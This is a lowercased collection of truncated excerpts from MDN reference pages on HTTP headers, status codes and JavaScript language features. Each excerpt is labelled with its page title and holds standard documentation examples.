on the application server, the web application must check for the full cookie name including the prefix—user agents do not strip the prefix from the cookie before sending it in a request's cookie header. for more information about cookie prefixes and the current state of browser support, see the prefixes section of the set-cookie reference article. javascript access using document.cookie
new cookies can be created via javascript using the document.cookie property, and existing cookies can be accessed from javascript as well, if the httponly flag is not set. document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry" cookies created via javascript cannot include the httponly ...
Using Feature Policy - HTTP
images synchronous scripts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. that is, the default allowlist is '*' for each feature. preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features. for
new content, you can start developing with a policy that disables all the features. this approach ensures that none of the functionality is introduced. when applying a policy to existing content, testing is likely required to verify it continues to work as expected. this is especially important for embedded or third-party content that you do not control. to turn on the enforcement of all the best pr...
Feature Policy - HTTP
r htmliframeelement.featurepolicy. types of policy-controlled features though feature policy provides control of multiple features using a consistent syntax, the behavior of policy controlled features varies and depends on several factors. the general principle is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled.
newly introduced features may have an explicit api to signal the state. existing features that later integrate with feature policy will typically use existing mechanisms. some approaches include: return "permission denied" for javascript apis that require user permission grants. return false or error from an existing javascript api that provides access to feature. change the default values or op...
Access-Control-Allow-Credentials - HTTP
sponse header forbidden header name no syntax access-control-allow-credentials: true directives true the only valid value for this header is true (case-sensitive). if you don't need credentials, omit this header entirely (rather than setting its value to false). examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr =
new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification. living standard initial definition ...
Alt-Svc - HTTP
ost override, a colon, and a mandatory port number. ma=<max-age>optional the number of seconds for which the alternative service is considered fresh. if omitted, it defaults to 24 hours. alternative service entries can be cached for up to <max-age> seconds, minus the age of the response (from the age header). if the cached entry expires, the client can no longer use this alternative service for
new connections. persist=1optional usually cached alternative service entries are cleared on network configuration changes. use of the persist=1 parameter ensures that the entry is not deleted through such changes. multiple entries can be specified in a single alt-svc header using comma as separator. in that case, early entries are considered more preferable. example alt-svc: h2=":443"; ma=2592...
CSP: child-src - HTTP
see unsafe inline script for an example. in csp 2.0 this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: child-src https://example.com/ this <iframe> and worker are blocked and won't load: <iframe src="https://not-example.com"></iframe> <script> var blockedworker =
new worker("data:application/javascript,..."); </script> specifications specification status comment content security policy level 3the definition of 'child-src' in that specification. working draft no changes. content security policy level 2the definition of 'child-src' in that specification. recommendation initial definition. ...
CSP: connect-src - HTTP
railing whitespace. see unsafe inline script for an example. in csp 2.0, this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: connect-src https://example.com/ the following connections are blocked and won't load: <a ping="https://not-example.com"> <script> var xhr =
new xmlhttprequest(); xhr.open('get', 'https://not-example.com/'); xhr.send(); var ws =
new websocket("https://not-example.com/"); var es =
new eventsource("https://not-example.com/"); navigator.sendbeacon("https://not-example.com/", { ... }); </script> specifications specification status comment content security policy level 3the definition of 'connect-src'...
CSP: object-src - HTTP
the http content-security-policy object-src directive specifies valid sources for the <object>, <embed>, and <applet> elements. to set allowed types for <object>, <embed>, and <applet> elements, use the plugin-types directive. elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't receiving
new standardized features (such as the security attributes sandbox or allow for <iframe>). therefore it is recommended to restrict this fetch-directive (e.g. explicitly set object-src 'none' if possible). csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the obj...
CSP: sandbox - HTTP
dal windows. allow-orientation-lock allows the page to disable the ability to lock the screen orientation. allow-pointer-lock allows the page to use the pointer lock api. allow-popups allows popups (like from window.open, target="_blank", showmodaldialog). if this keyword is not used, that functionality will silently fail. allow-popups-to-escape-sandbox allows a sandboxed document to open
new windows without forcing the sandboxing flags upon them. this will allow, for example, a third-party advertisement to be safely sandboxed without forcing the same restrictions upon a landing page. allow-presentation allows embedders to have control over whether an iframe can start a presentation session. allow-same-origin allows the content to be treated as being from its normal origin. if thi...
CSP: worker-src - HTTP
uding leading or trailing whitespace. see unsafe inline script for an example. in csp 2.0 this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. examples violation cases given this csp header: content-security-policy: worker-src https://example.com/ worker, sharedworker, serviceworker are blocked and won't load: <script> var blockedworker =
new worker("data:application/javascript,..."); blockedworker =
new sharedworker("https://not-example.com/"); navigator.serviceworker.register('https://not-example.com/sw.js'); </script> specifications specification status comment content security policy level 3the definition of 'worker-src' in that specification. working draft initial definition. ...
Content-Security-Policy - HTTP
f images and favicons. manifest-src specifies valid sources of application manifest files. media-src specifies valid sources for loading media using the <audio> , <video> and <track> elements. object-src specifies valid sources for the <object>, <embed>, and <applet> elements. elements controlled by object-src are perhaps coincidentally considered legacy html elements and are not receiving
new standardized features (such as the security attributes sandbox or allow for <iframe>). therefore it is recommended to restrict this fetch-directive (e.g., explicitly set object-src 'none' if possible). prefetch-src specifies valid sources to be prefetched or prerendered. script-src specifies valid sources for javascript. script-src-elem specifies valid sources for javascript <script> elem...
Cookie2 - HTTP
the obsolete cookie2 http request header used to advise the server that the user agent understands "
new-style" cookies, but nowadays user agents will use the cookie header instead, not this one. header type request header forbidden header name yes examples cookie2: $version="1" specifications specification title rfc 2965: cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
ETag - HTTP
the etag http response header is an identifier for a specific version of a resource. it lets caches be more efficient and save bandwidth, as a web server does not need to resend a full response if the content has not changed. additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). if the resource at a given url changes, a
new etag value must be generated. a comparison of them can determine whether two representations of a resource are the same. etags are therefore similar to fingerprints, and might also be used for tracking purposes by some servers. they might also be set to persist indefinitely by a tracking server. header type response header forbidden header name no syntax etag: w/"<etag_valu...
Expect-CT - HTTP
tatus_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs. browsers ignore the expect-ct header over http; the header only has effect on https connections. the expect-ct will likely become obsolete in june 2021. since may 2018
new certificates are expected to support scts by default. certificates before march 2018 were allowed to have a lifetime of 39 months, those will all be expired in june 2021. header type response header forbidden header name yes syntax expect-ct: report-uri="<uri>", enforce, max-age=<age> directives max-age the number of seconds after re...
If-Match - HTTP
e in this case. the comparison with the stored etag uses the strong comparison algorithm, meaning two files are considered identical byte to byte only. if a listed etag has the w/ prefix indicating a weak entity tag, it will never match under this comparison algorithm. there are two common use cases: for get and head methods, used in combination with a range header, it can guarantee that the
new ranges requested comes from the same resource than the previous one. if it doesn't match, then a 416 (range not satisfiable) response is returned. for other methods, and in particular for put, if-match can be used to prevent the lost update problem. it can check if the modification of a resource that the user wants to upload will not override another change that has been done since the original ...
If-Unmodified-Since - HTTP
(precondition failed) error. there are two common use cases: in conjunction with non-safe methods, like post, it can be used to implement an optimistic concurrency control, like done by some wikis: editions are rejected if the stored document has been modified since the original has been retrieved. in conjunction with a range request with a if-range header, it can be used to ensure that the
new fragment requested comes from an unmodified document. header type request header forbidden header name no syntax if-unmodified-since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive). <day> 2 digit day number, e.g. "04" or "23". <month> one of "...
Retry-After - HTTP
the retry-after response http header indicates how long the user agent should wait before making a follow-up request. there are three main cases this header is used: when sent with a 503 (service unavailable) response, this indicates how long the service is expected to be unavailable. when sent with a 429 (too many requests) response, this indicates how long to wait before making a
new request. when sent with a redirect response, such as 301 (moved permanently), this indicates the minimum time that the user agent is asked to wait before issuing the redirected request. header type response header forbidden header name no syntax retry-after: <http-date> retry-after: <delay-seconds> directives <http-date> a date after which to retry. see the date hea...
Sec-WebSocket-Accept - HTTP
t from server to client to inform that server is willing to initiate a websocket connection. header type response header forbidden header name no syntax sec-websocket-accept: <hashed key> directives <hashed key> the server takes the value of the sec-websocket-key sent in the handshake request, appends 258eafa5-e914-47da-95ca-c5ab0dc85b11, takes sha-1 of the
new value, and is then base64 encoded. examples sec-websocket-accept: s3pplmbitxaq9kygzzhzrbk+xoo= specification specification title rfc 6455, section 11.3.3: sec-websocket-accept the websocket protocol ...
Upgrade - HTTP
though the upgrade header had not been sent (for example, with a 200 ok). if the server decides to upgrade the connection, it must: send back a 101 switching protocols response status with an upgrade header that specifies the protocol(s) being switched to. for example: http/1.1 101 switching protocols upgrade: foo/2 connection: upgrade send a response to the original request using the
new protocol (the server may only switch to a protocol with which it can complete the original request). a server may also send the header as part of a 426 upgrade required response, to indicate that the server won't perform the request using the current protocol, but might do so if the protocol is changed. the client can then request a protocol change using the process above. more detail and e...
Firefox user agent string reference - HTTP
2 37 2.5 44 it's easy to find the correspondences by looking at the mercurial repository names: repositories starting by mozilla-b2g are the release repositories for firefox os, and have both firefox os and gecko versions in their names. firefox os has a four-digit version number: x.x.x.y. the first two digits are owned by the mozilla product team and denote versions with
new features (eg: v1.1, 1.2, etc). the third digit is incremented with regular version tags (about every 6 weeks) for security updates, and the fourth is owned by the oem. firefox web runtime the web runtime uses the same user agent string as desktop firefox. other gecko-based browsers these are some sample ua strings from other gecko-based browsers on various platforms. note that many of these h...
X-Frame-Options - HTTP
ions" value="sameorigin" /> </customheaders> </httpprotocol> ... </system.webserver> or see this microsoft support article on setting this configuration using the iis manager user interface. configuring haproxy to configure haproxy to send the x-frame-options header, add this to your front-end, listen, or backend configuration: rspadd x-frame-options:\ sameorigin alternatively, in
newer versions: http-response set-header x-frame-options sameorigin configuring express to configure express to send the x-frame-options header, you can use helmet which uses frameguard to set the header. add this to your server configuration: const helmet = require('helmet'); const app = express(); app.use(helmet.frameguard({ action: 'sameorigin' })); alternatively, you can use frameguard dir...
Link prefetching FAQ - HTTP
ude prefetching <a> tags, which include a relation type of next or prefetch in the future. doing so would probably help content providers avoid the problem of stale prefetching links. is link prefetching standards compliant? yes, link prefetching as outlined in this document does not violate any existing web standards. in fact, the html 4.01 specification explicitly allows for the definition of
new link relation types (see section 6.12: link types). however, the exact mechanism employed by mozilla is not yet standardized. an internet-draft is in the works. standardization of this technique is part of the scope of html 5, see the current working draft, section §5.11.3.13. link type "prefetch". how is browser idle time determined? in the current implementation (mozilla 1.2), idle time is ...
HTTP Messages - HTTP
ional step in http/2, between http/1.1 messages and the underlying transport protocol. no changes are needed in the apis used by web developers to utilize http frames; when available in both the browser and the server, http/2 is switched on and used. conclusion http messages are the key in using http; their structure is simple, and they are highly extensible. the http/2 framing mechanism adds a
new intermediate layer between the http/1.x syntax and the underlying transport protocol, without fundamentally modifying it: building upon proven mechanisms. ...
POST - HTTP
are given in the content-disposition header of each part. text/plain when the post request is sent via a method other than an html form — like via an xmlhttprequest — the body can take any type. as described in the http 1.1 specification, post is designed to allow a uniform method to cover the following functions: annotation of existing resources posting a message to a bulletin board,
newsgroup, mailing list, or similar group of articles; adding a
new user through a signup modal; providing a block of data, such as the result of submitting a form, to a data-handling process; extending a database through an append operation. request has body yes successful response has body yes safe no idempotent no cacheable only if f...
HTTP Public Key Pinning (HPKP) - HTTP
accessibility for clients that have already noted the pins. this is important for example when the former key gets compromised. extracting the base64 encoded public key information note: while the example below shows how to set a pin on a server certificate, it is recommended to place the pin on the intermediate certificate of the ca that issued the server certificate, to ease certificates re
newals and rotations. first you need to extract the public key information from your certificate or key file and encode them using base64. the following commands will help you extract the base64 encoded information from a key file, a certificate signing request, or a certificate. openssl rsa -in my-rsa-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64 openssl...
204 No Content - HTTP
client doesn't need to go away from its current page. a 204 response is cacheable by default. an etag header is included in such a response. the common use case is to return 204 as a result of a put request, updating a resource, without changing the current content of the page displayed to the user. if the resource is created, 201 created is returned instead. if the page should be changed to the
newly updated page, the 200 should be used instead. status 204 no content specifications specification title rfc 7231, section 6.3.5: 204 no content hypertext transfer protocol (http/1.1): semantics and content ...
301 Moved Permanently - HTTP
the hypertext transfer protocol (http) 301 moved permanently redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers. a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the
new url). even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. it is therefore recommended to use the 301 code only as a response for get or head methods and to use the 308 permanent redirect for post methods instead, as the method change is explicitly prohibited with this status. status 301...
302 Found - HTTP
the hypertext transfer protocol (http) 302 found redirect status response code indicates that the resource requested has been temporarily moved to the url given by the location header. a browser redirects to this page but search engines don't update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is not sent to the
new url). even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find this type of bugged software out there. it is therefore recommended to set the 302 code only as a response for get or head methods and to use 307 temporary redirect instead, as the method change is explicitly prohibited in that case. in the cases where you want the method us...
303 See Other - HTTP
this response code is usually sent back as a result of put or post. the method used to display this redirected page is always get. ...
308 Permanent Redirect - HTTP
the hypertext transfer protocol (http) 308 permanent redirect redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers. a browser redirects to this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the
new url). the request method and the body will not be altered, whereas 301 may incorrectly sometimes be changed to a get method. note: some web applications may use the 308 permanent redirect in a non-standard way and for other purposes. for example, google drive uses a 308 resume incomplete response to indicate to the client when an incomplete upload stalled.[1] status 308 permanent redirect specifications specification title...
429 Too Many Requests - HTTP
the http 429 too many requests response status code indicates the user has sent too many requests in a given amount of time ("rate limiting"). a retry-after header might be included to this response indicating how long to wait before making a
new request. status 429 too many requests example http/1.1 429 too many requests content-type: text/html retry-after: 3600 specifications specification title rfc 6585, section 4: 429 too many requests additional http status codes ...
HTTP
r strengths, and their weaknesses. reference browse through detailed http reference documentation. http headers http message headers are used to describe a resource, or the behavior of the server or the client. custom proprietary headers can be added using the x- prefix; others in an iana registry, whose original content was defined in rfc 4229. iana also maintains a registry of proposed
new http message headers. http request methods the different operations that can be done with http: get, post, and also less common requests like options, delete, or trace. http status response codes http response codes indicate whether a specific http request has been successfully completed. responses are grouped in five classes: informational responses, successful responses, redirections, clien...
About JavaScript - JavaScript
nce of an event. javascript is an easy to learn and also powerful scripting language, widely used for controlling web page behavior. contrary to popular misconception, javascript is not "interpreted java". in a nutshell, javascript is a dynamic scripting language supporting prototype based object construction. the basic syntax is intentionally similar to both java and c++ to reduce the number of
new concepts required to learn the language. language constructs, such as if statements, for and while loops, and switch and try ... catch blocks function the same as in these languages (or nearly so). javascript can function as both a procedural and an object oriented language. objects are created programmatically in javascript, by attaching methods and properties to otherwise empty objects at run ...
Assertions - JavaScript
minus sign. /(?<!-)\d+/.exec('3') matches "3". /(?<!-)\d+/.exec('-3') match is not found because the number is preceded by the minus sign. examples general boundary-type overview example // using regex boundaries to fix buggy string. buggymultiline = `tey, ihe light-greon apple tangs on ihe greon traa`; // 1) use ^ to fix the matching at the begining of the string, and right after
newline. buggymultiline = buggymultiline.replace(/^t/gim,'h'); console.log(1, buggymultiline); // fix 'tey', 'tangs' => 'hey', 'hangs'. avoid 'traa'. // 2) use $ to fix matching at the end of the text. buggymultiline = buggymultiline.replace(/aa$/gim,'ee.'); console.log(2, buggymultiline); // fix 'traa' => 'tree'. // 3) use \b to match characters right on border between a word and a space. buggymu...
Character classes - JavaScript
rminators: \n, \r, \u2028 or \u2029. for example, /.y/ matches "my" and "ay", but not "yes", in "yes make my day". inside a character set, the dot loses its special meaning and matches a literal dot. note that the m multiline flag doesn't change the dot behavior. so to match a pattern across multiple lines, the character set [^] can be used — it will match any character including
newlines. es2018 added the s "dotall" flag, which allows the dot to also match line terminators. \d matches any digit (arabic numeral). equivalent to [0-9]. for example, /\d/ or /[0-9]/ matches "2" in "b2 is the suite number". \d matches any character that is not a digit (arabic numeral). equivalent to [^0-9]. for example, /\d/ or /[^0-9]/ matches "b" in...
JavaScript language resources - JavaScript
fifth revision of the ecmascript standard. see also the es5 errata and ecmascript 5 support in mozilla ecma-357 pdf june 2004 ecmascript for xml (e4x). see also the e4x errata. ecma-262 5.1 edition pdf, html june 2011 this version is fully aligned with the 3rd edition of the international standard iso/iec 16262:2011. it includes es5 errata fixes, no
new features. ecma-402 1st edition pdf, html december 2012 ecmascript internationalization api specification ecma-262 6th edition pdf, html june 2015 ecmascript 2015 language specification ecma-402 2nd edition pdf june 2015 ecmascript 2015 internationalization api specification ecma-262 7th edition html june 2016 ecmascript 2016 ...
static - JavaScript
s implemented on a class. that a class with a static member can be sub-classed. how a static method can and cannot be called. class triple { static triple(n = 1) { return n * 3; } } class biggertriple extends triple { static triple(n) { return super.triple(n) * super.triple(n); } } console.log(triple.triple()); // 3 console.log(triple.triple(6)); // 18 var tp =
new triple(); console.log(biggertriple.triple(3)); // 81 (not affected by parent's instantiation) console.log(tp.triple()); // 'tp.triple is not a function'. calling static methods from another static method in order to call a static method within another static method of the same class, you can use the this keyword. class staticmethodcall { static staticmethod() { return 'static method h...
TypeError: X.prototype.y called on incompatible type - JavaScript
t as an argument to another function. in this case, the object that stores the function won't be the this target of that function when it is called by the other function. to work-around this issue, you will either need to provide a lambda which is making the call, or use the function.prototype.bind() function to force the this argument to the expected object. examples invalid cases var myset =
new set; ['bar', 'baz'].foreach(myset.add); // myset.add is a function, but "myset" is not captured as this. var myfun = function () { console.log(this); }; ['bar', 'baz'].foreach(myfun.bind); // myfun.bind is a function, but "myfun" is not captured as this. valid cases var myset =
new set; ['bar', 'baz'].foreach(myset.add.bind(myset)); // this works due to binding "myset" as this. var myfun ...
TypeError: cyclic object value - JavaScript
s you can use a library that supports them (e.g. cycle.js) or implement a solution by yourself, which will require finding and replacing (or removing) the cyclic references by serializable values. ...
SyntaxError: Malformed formal parameter - JavaScript
e javascript exception "malformed formal parameter" occurs when the argument list of a function() constructor call is invalid somehow. message syntaxerror: expected {x} (edge) syntaxerror: malformed formal parameter (firefox) error type syntaxerror what went wrong? there is a function() constructor with at least two arguments passed in the code. the last argument is the source code for the
new function you're creating. all the rest make up your
new function's argument list. the argument list is invalid somehow. perhaps you accidentally picked a keyword like if or var as an argument name, or perhaps there's some stray punctuation in your argument list. or maybe you accidentally passed an invalid value, like a number or object. ok, that fixed my problem. but why didn't you say that in ...
SyntaxError: missing : after property id - JavaScript
zer syntax, a colon (:) separates keys and values for the object's properties. var obj = { propertykey: 'value' }; examples colons vs. equal signs this code fails, as the equal sign can't be used this way in this object initializer syntax. var obj = { propertykey = 'value' }; // syntaxerror: missing : after property id correct would be to use a colon, or to use square brackets to assign a
new property after the object has been created already. var obj = { propertykey: 'value' }; // or alternatively var obj = { }; obj['propertykey'] = 'value'; empty properties you can't create empty properties like this: var obj = { propertykey; }; // syntaxerror: missing : after property id if you need to define a property without a value, you might use null as a value. var obj = { propertyk...
TypeError: "x" is not a non-null object - JavaScript
; // typeerror: 1 is not a non-null object object.defineproperty({}, 'key', null); // typeerror: null is not a non-null object a valid property descriptor object might look like this: object.defineproperty({}, 'key', { value: 'foo', writable: false }); weakmap and weakset objects require object keys weakmap and weakset objects store object keys. you can't use other types as keys. var ws =
new weakset(); ws.add('foo'); // typeerror: "foo" is not a non-null object use objects instead: ws.add({foo: 'bar'}); ws.add(window); ...
TypeError: can't delete non-configurable array element - JavaScript
n array, but one of the array's elements is non-configurable. message typeerror: can't delete non-configurable array element (firefox) typeerror: cannot delete property '2' of [object array] (chrome) error type typeerror what went wrong? it was attempted to shorten the length of an array, but one of the array's elements is non-configurable. when shortening an array, the elements beyond the
new array length will be deleted, which failed in this situation. the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed. usually, properties in an object created by an array initializer are configurable. however, for example, when using object.defineproperty(), the property isn't configurable by defaul...
SyntaxError: redeclaration of formal parameter "x" - JavaScript
cript. examples redeclared argument in this case, the variable "arg" redeclares the argument. function f(arg) { let arg = 'foo'; } // syntaxerror: redeclaration of formal parameter "arg" if you want to change the value of "arg" in the function body, you can do so, but you do not need to declare the same variable again. in other words: you can omit the let keyword. if you want to create a
new variable, you need to rename it as conflicts with the function parameter already. function f(arg) { arg = 'foo'; } function f(arg) { let bar = 'foo'; } ...
SyntaxError: "x" is a reserved identifier - JavaScript
["potatoes", "rice", "fries"]; // syntaxerror: package is a reserved identifier you'll need to rename these variables. var colorenum = { red: 0, green: 1, blue: 2 }; var list = ["potatoes", "rice", "fries"]; update older browsers if you are using an older browser that does not yet implement let or class, for example, you should update to a more recent browser version that does support these
new language features. "use strict"; class docarchiver {} // syntaxerror: class is a reserved identifier // (throws in older browsers only, e.g. firefox 44 and older) ...
JavaScript error reference - JavaScript
totype.sort argumenttypeerror: invalid argumentstypeerror: invalid assignment to const "x"typeerror: property "x" is non-configurable and can't be deletedtypeerror: setting getter-only property "x"typeerror: variable "x" redeclares argumenturierror: malformed uri sequencewarning: 08/09 is not a legal ecma-262 octal constantwarning: -file- is being assigned a //# sourcemappingurl, but already has o
newarning: date.prototype.tolocaleformat is deprecatedwarning: javascript 1.6's for-each-in loops are deprecatedwarning: string.x is deprecated; use string.prototype.x insteadwarning: expression closures are deprecatedwarning: unreachable code after return statement ...
Default parameters - JavaScript
ault. function test(num = 1) { console.log(typeof num) } test() // 'number' (num is set to 1) test(undefined) // 'number' (num is set to 1 too) // test with other falsy values: test('') // 'string' (num is set to '') test(null) // 'object' (num is set to null) evaluated at call time the default argument is evaluated at call time. so, unlike (for example) python, a
new object is created each time the function is called. function append(value, array = []) { array.push(value) return array } append(1) // [1] append(2) // [2], not [1, 2] this even applies to functions and variables: function callsomething(thing = something()) { return thing } let numberoftimescalled = 0 function something() { numberoftimescalled += 1 return numberoftimescalled } ...
Method definitions - JavaScript
enerator methods can also be async. const obj4 = { f: async function* () { yield 1 yield 2 yield 3 } }; // the same object using shorthand syntax const obj4 = { async* f() { yield 1 yield 2 yield 3 } } method definitions are not constructable methods cannot be constructors! they will throw a typeerror if you try to instantiate them. const obja = { method() {} }
new obja.method // typeerror: obj.method is not a constructor const objb = { * g() {} }
new objb.g // typeerror: obj.g is not a constructor (changed in es2016) examples simple test case const obj = { a: 'foo', b() { return this.a } }; console.log(obj.b()) // "foo" computed property names the shorthand syntax also supports computed property names. const bar = { foo0: function(...
setter - JavaScript
r or a string; it must have exactly one parameter (see incompatible es5 change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another set or with a data entry for the same property. ( { set x(v) { }, set x(v) { } } and { x: ..., set x(v) { } } are forbidden ) examples defining a setter on
new objects in object initializers the following example define a pseudo-property current of object language. when current is assigned a value, it updates log with that value: const language = { set current(name) { this.log.push(name); }, log: [] } language.current = 'en'; console.log(language.log); // ['en'] language.current = 'fa'; console.log(language.log); // ['en', 'fa'] note tha...
Array.prototype.entries() - JavaScript
the entries() method returns a
new array iterator object that contains the key/value pairs for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax array.entries() return value a
new array iterator object. examples iterating with index and element const a = ['a', 'b', 'c']; for (const [index, element] of a.entries()) console.log(index, element); // 0 'a' // 1 'b' // 2 'c' using a for…of loop var a = ['a', 'b', 'c']; var iterator = a.entries(); for (let e of iterator) { console.log(e); } // [0, 'a'] // [1, 'b'] // [2, 'c'] specifications specification ...
Array.prototype.fill() - JavaScript
its this value be an array object. fill is a mutator method: it will change the array itself and return it, not a copy of it. if the first parameter is an object, each slot in the array will reference that object. polyfill if (!array.prototype.fill) { object.defineproperty(array.prototype, 'fill', { value: function(value) { // steps 1-2. if (this == null) { throw
new typeerror('this is null or not defined'); } var o = object(this); // steps 3-5. var len = o.length >>> 0; // steps 6-7. var start = arguments[1]; var relativestart = start >> 0; // step 8. var k = relativestart < 0 ? math.max(len + relativestart, 0) : math.min(relativestart, len); // steps 9-10. var end = argum...
Array.prototype.findIndex() - JavaScript
will be the value at the time findindex() visits the element's index. elements that are deleted are still visited. polyfill // https://tc39.github.io/ecma262/#sec-array.prototype.findindex if (!array.prototype.findindex) { object.defineproperty(array.prototype, 'findindex', { value: function(predicate) { // 1. let o be ? toobject(this value). if (this == null) { throw
new typeerror('"this" is null or not defined'); } var o = object(this); // 2. let len be ? tolength(? get(o, "length")). var len = o.length >>> 0; // 3. if iscallable(predicate) is false, throw a typeerror exception. if (typeof predicate !== 'function') { throw
new typeerror('predicate must be a function'); } // 4. if thisarg was supplied, l...
Array.prototype.flat() - JavaScript
the flat() method creates a
new array with all sub-array elements concatenated into it recursively up to the specified depth. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax var
newarray = arr.flat([depth]); parameters depth optional the depth level specifying how deep a nested array structure should be flattened. defaults to 1. return value a
new array with the sub-array elements concatenated into it. alternatives reduce and concat const arr = [1, 2, [3, 4]]; // to flat single level array arr.flat(); // is equivalent to arr.reduce((acc, val) => acc.concat(val), []); // [1, 2, 3, 4] // or with...
Array.prototype.forEach() - JavaScript
the callback uses it as its this value. note: if passing the callback function uses an arrow function expression, the thisarg parameter can be omitted, since all arrow functions lexically bind the this value. an object copy f...
Array.prototype.join() - JavaScript
if the array has only one item, then that item will be returned without using the separator. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.join([separator]) parameters separator optional specifies a string to separate each pair of adjacent elements of the array. the separator is converted to a string if necessary. if omitted, the array elements are separated with a comma (","). ...
Array.prototype.keys() - JavaScript
the keys() method returns a
new array iterator object that contains the keys for each index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.keys() return value a
new array iterator object. examples key iterator doesn't ignore holes var arr = ['a', , 'c']; var sparsekeys = object.keys(arr); var densekeys = [...arr.keys()]; console.log(sparsekeys); // ['0', '2'] console.log(densekeys); // [0, 1, 2] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.keys' in that specification. ...
Array.of() - JavaScript
the array.of() method creates a
new array instance from a variable number of arguments, regardless of number or type of the arguments. the difference between array.of() and the array constructor is in the handling of integer arguments: array.of(7) creates an array with a single element, 7, whereas array(7) creates an empty array with a length property of 7 (note: this implies an array of 7 empty slots, not slots with actual undefined values). array.of(7); // [7] array.of(1, 2, 3); // [1, 2, 3] array(7); // array of 7 empty slots array(1, 2, 3); // [1, 2, 3] syntax array.of(element0[, element1[, ...[, elementn]]]) parameters elementn elements used to create the array. return value a
new array instance. description this function is part of the ecmascript 2015 ...
Array.prototype.toLocaleString() - JavaScript
prototype.tolocalestring(). return value a string representing the elements of the array. polyfill // https://tc39.github.io/ecma402/#sup-array.prototype.tolocalestring if (!array.prototype.tolocalestring) { object.defineproperty(array.prototype, 'tolocalestring', { value: function(locales, options) { // 1. let o be ? toobject(this value). if (this == null) { throw
new typeerror('"this" is null or not defined'); } var a = object(this); // 2. let len be ? tolength(? get(a, "length")). var len = a.length >>> 0; // 3. let separator be the string value for the // list-separator string appropriate for the // host environment's current locale (this is // derived in an implementation-defined way). // no...
Array.prototype.toSource() - JavaScript
available: function array() { [native code] } for instances of array, tosource returns a string representing the source code. this method is usually called internally by javascript and not explicitly in code. you can call tosource while debugging to examine the contents of an array. examples examining the source code of an array to examine the source code of an array: var alpha =
new array('a', 'b', 'c'); alpha.tosource(); //returns ['a', 'b', 'c'] specifications not part of any standard. implemented in javascript 1.3. ...
Array.prototype.values() - JavaScript
examples iteration using for...of loop var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); for (let letter of iterator) { console.log(letter); } //"a" "b" "c" "d" "e" array.prototype.values is default implementation of array.prototype[symbol.iterator]. ...
ArrayBuffer.prototype.byteLength - JavaScript
://github.com/mdn/interactive-examples and send us a pull request. description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read this property. the value is established when the array is constructed and cannot be changed. this property returns 0 if this arraybuffer has been detached. examples using bytelength var buffer =
new arraybuffer(8); buffer.bytelength; // 8 specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.bytelength' in that specification. ...
Atomics.add() - JavaScript
uint32array, bigint64array, or biguint64array. index the position in the typedarray to add a value to. value the number to add. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using add() const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); atomics.add(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.add' in that specification. ...
Atomics.and() - JavaScript
e typedarray. description the bitwise and operation only yields 1, if both a and b are 1. the truth table for the and operation is: a b a & b 0 0 0 0 1 0 1 0 0 1 1 1 for example, a bitwise and of 5 & 1 results in 0001 which is 1 in decimal. 5 0101 1 0001 ---- 1 0001 examples using and() const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); ta[0] = 5; atomics.and(ta, 0, 1); // returns 0, the old value atomics.load(ta, 0); // 1 specifications specification ecmascript (ecma-262)the definition of 'atomics.and' in that specification. ...
Atomics.compareExchange() - JavaScript
